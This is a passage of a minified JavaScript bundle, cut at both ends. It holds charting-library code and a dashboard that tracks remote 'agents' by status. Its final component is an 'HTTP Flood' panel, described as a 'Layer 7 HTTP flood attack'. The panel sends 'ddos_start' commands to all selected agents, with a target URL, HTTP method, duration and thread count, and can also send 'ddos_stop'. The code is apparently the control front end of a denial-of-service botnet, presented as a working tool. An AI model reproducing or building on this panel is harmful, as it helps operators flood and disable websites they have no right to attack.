null;var{height:A,width:O,x:P,y:I}=_;return!S||!S.length?null:p.createElement(gW,Ki({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:m==="auto"?!Dd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var bW=(e,t,n,r,i)=>{var a=n??t;if(he(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function wW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=bW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,_;if(x)_=i[d+k];else{var A=Fe(j,r);Array.isArray(A)?(_=A,v=!0):_=[g,A]}var O=(S=(N=_)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=O==null||x&&!t&&Fe(j,r)==null;if(y){var I;return{x:by({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:_,payload:j}}return{x:P?null:(z=l.scale.map(O))!==null&&z!==void 0?z:null,y:by({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:_,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function jW(e){var t=fn(e,CS),n=Kn();return p.createElement(cS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(dB,{legendPayload:cW(t)}),p.createElement(uW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(SB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:aT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(yW,Ki({},t,{id:r}))))}var PS=p.memo(jW,yS);PS.displayName="Area";var kW=(e,t)=>t,uv=T([kW,Me,A4,wt,b3,Vr,vR,yt],NR),dv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},ES=zn("mouseClick"),AS=Zo();AS.startListening({actionCreator:ES,effect:(e,t)=>{var n=e.payload,r=uv(t.getState(),dv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(xD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var mh=zn("mouseMove"),_S=Zo(),ql=null;_S.startListening({actionCreator:mh,effect:(e,t)=>{var n=e.payload;ql!==null&&cancelAnimationFrame(ql);var r=dv(n);ql=requestAnimationFrame(()=>{var i=t.getState(),a=K0(i,i.tooltip.settings.shared);if(a==="axis"){var o=uv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(d3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(u3())}ql=null})}});function NW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var x2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},OS=Xt({name:"rootProps",initialState:x2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:x2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),SW=OS.reducer,{updateOptions:zW}=OS.actions,CW=null,PW={updatePolarOptions:(e,t)=>t.payload},TS=Xt({name:"polarOptions",initialState:CW,reducers:PW}),{updatePolarOptions:EW}=TS.actions,AW=TS.reducer,MS=zn("keyDown"),LS=zn("focus"),fv=Zo();fv.startListening({actionCreator:MS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=q0(i,ys(n),ll(n),ul(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Vr(n);if(a==="Enter"){var u=Eu(n,"axis","hover",String(i.index));t.dispatch(ch({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=sD(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Eu(n,"axis","hover",String(h));t.dispatch(ch({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});fv.startListening({actionCreator:LS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Eu(n,"axis","hover",String(a));t.dispatch(ch({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var gn=zn("externalEvent"),IS=Zo(),yp=new Map;IS.startListening({actionCreator:gn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=yp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:nR(l),activeDataKey:N3(l),activeIndex:ns(l),activeLabel:k3(l),activeTooltipIndex:ns(l),isTooltipActive:rR(l)};n(c,r)}finally{yp.delete(i)}});yp.set(i,o)}}});var _W=T([vs],e=>e.tooltipItemPayloads),OW=T([_W,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),DS=zn("touchMove"),RS=Zo();RS.startListening({actionCreator:DS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=K0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=uv(r,dv({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(d3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Jk),f=(l=u.getAttribute(eN))!==null&&l!==void 0?l:void 0,m=gs(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=OW(r,d,f);t.dispatch(c3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var TW=kk({brush:gF,cartesianAxis:uF,chartData:e9,errorBars:NF,graphicalItems:kB,layout:XO,legend:JT,options:GR,polarAxis:T$,polarOptions:AW,referenceElements:bF,rootProps:SW,tooltip:vD,zIndex:RR}),MW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return wO({reducer:TW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AS.middleware,_S.middleware,fv.middleware,IS.middleware,RS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Rk({type:"raf"}))},devTools:{serialize:{replacer:NW},name:"recharts-".concat(n)}})};function $S(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Kn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=MW(t,r));var o=Mx;return p.createElement(YF,{context:o,store:a.current},n)}function LW(e){var{layout:t,margin:n}=e,r=it(),i=Kn();return p.useEffect(()=>{i||(r(qO(t)),r(KO(n)))},[r,i,t,n]),null}var BS=p.memo(LW,yS);function FS(e){var t=it();return p.useEffect(()=>{t(zW(e))},[t,e]),null}function v2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=it();return p.useLayoutEffect(()=>(r.current&&i(IR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(DR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function g2(e){var{children:t,isPanorama:n}=e,r=ye(zR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(v2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(v2,{key:o,zIndex:o,isPanorama:n})))}var IW=["children"];function DW(e,t){if(e==null)return{};var n,r,i=RW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=DT(),r=RT(),i=gN();if(!vi(n)||!vi(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(kj,Iu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:$W,ref:t}),a)}),FW=e=>{var{children:t}=e,n=ye(Od);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(kj,{width:r,height:i,x:o,y:a},t)},y2=p.forwardRef((e,t)=>{var{children:n}=e,r=DW(e,IW),i=Kn();return i?p.createElement(FW,null,p.createElement(g2,{isPanorama:!0},n)):p.createElement(BW,Iu({ref:t},r),p.createElement(g2,{isPanorama:!1},n))});function WW(){var e=it(),[t,n]=p.useState(null),r=ye(dT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ze(a)&&a!==r&&e(GO(a))}},[t,e,r]),n}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function UW(e){for(var t=1;t(c9(),null);function Du(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var YW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Du((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Du((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Jo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",pi({ref:c},e)))}),GW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Du(n),containerHeight:Du(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Jo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",pi({ref:l},e)))}),XW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))}),ZW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(GW,pi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(XW,pi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))});function QW(e){return e?YW:ZW}var JW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=it(),[S,N]=p.useState(null),[z,_]=p.useState(null),A=WW(),O=Ux(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,U=p.useCallback(C=>{A(C),typeof t=="function"&&t(C),N(C),_(C),C!=null&&(j.current=C)},[A,t,N,_]),D=p.useCallback(C=>{k(ES(C)),k(gn({handler:a,reactEvent:C}))},[k,a]),M=p.useCallback(C=>{k(mh(C)),k(gn({handler:u,reactEvent:C}))},[k,u]),F=p.useCallback(C=>{k(u3()),k(gn({handler:d,reactEvent:C}))},[k,d]),R=p.useCallback(C=>{k(mh(C)),k(gn({handler:f,reactEvent:C}))},[k,f]),W=p.useCallback(()=>{k(LS())},[k]),$=p.useCallback(C=>{k(MS(C.key))},[k]),H=p.useCallback(C=>{k(gn({handler:o,reactEvent:C}))},[k,o]),X=p.useCallback(C=>{k(gn({handler:l,reactEvent:C}))},[k,l]),se=p.useCallback(C=>{k(gn({handler:c,reactEvent:C}))},[k,c]),ue=p.useCallback(C=>{k(gn({handler:m,reactEvent:C}))},[k,m]),ge=p.useCallback(C=>{k(gn({handler:g,reactEvent:C}))},[k,g]),xe=p.useCallback(C=>{w&&k(DS(C)),k(gn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(gn({handler:h,reactEvent:C}))},[k,h]),ee=QW(b);return p.createElement(O3.Provider,{value:S},p.createElement(m_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Xe("recharts-wrapper",r),style:UW({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:H,onDoubleClick:X,onFocus:W,onKeyDown:$,onMouseDown:se,onMouseEnter:M,onMouseLeave:F,onMouseMove:R,onMouseUp:ue,onTouchEnd:Y,onTouchMove:xe,onTouchStart:ge,ref:U},p.createElement(qW,null),n)))}),eU=["width","height","responsive","children","className","style","compact","title","desc"];function tU(e,t){if(e==null)return{};var n,r,i=nU(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=tU(e,eU),m=Cr(f);return c?p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement(y2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(JW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(y2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(jF,null,a)))});function hh(){return hh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(EW(e))},[t,e]),null}var oU=["layout"];function xh(){return xh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=fn(e,xU);return p.createElement(dU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:hU,tooltipPayloadSearcher:M3,categoricalChartProps:n,ref:t})}),gU=["axis"],yU=p.forwardRef((e,t)=>p.createElement(aU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:gU,tooltipPayloadSearcher:M3,categoricalChartProps:e,ref:t}));function bU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(Py,{width:"100%",height:"100%",children:s.jsxs(yU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(Pb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(PS,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(Py,{width:"100%",height:"100%",children:s.jsxs(vU,{children:[s.jsx(dS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(nf,{fill:i.color},a))}),s.jsx(Pb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function wU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const jU=["GET","POST","HEAD"],kU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function VS({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z);const _=z.filter(A=>A.ok).length;g(_>0),_===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${_}/${w} agents (${w-_} failed)`,_>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_stop"})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z),g(!1);const _=z.filter(A=>A.ok).length;j(`Stop sent to ${_}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:jU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:kU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 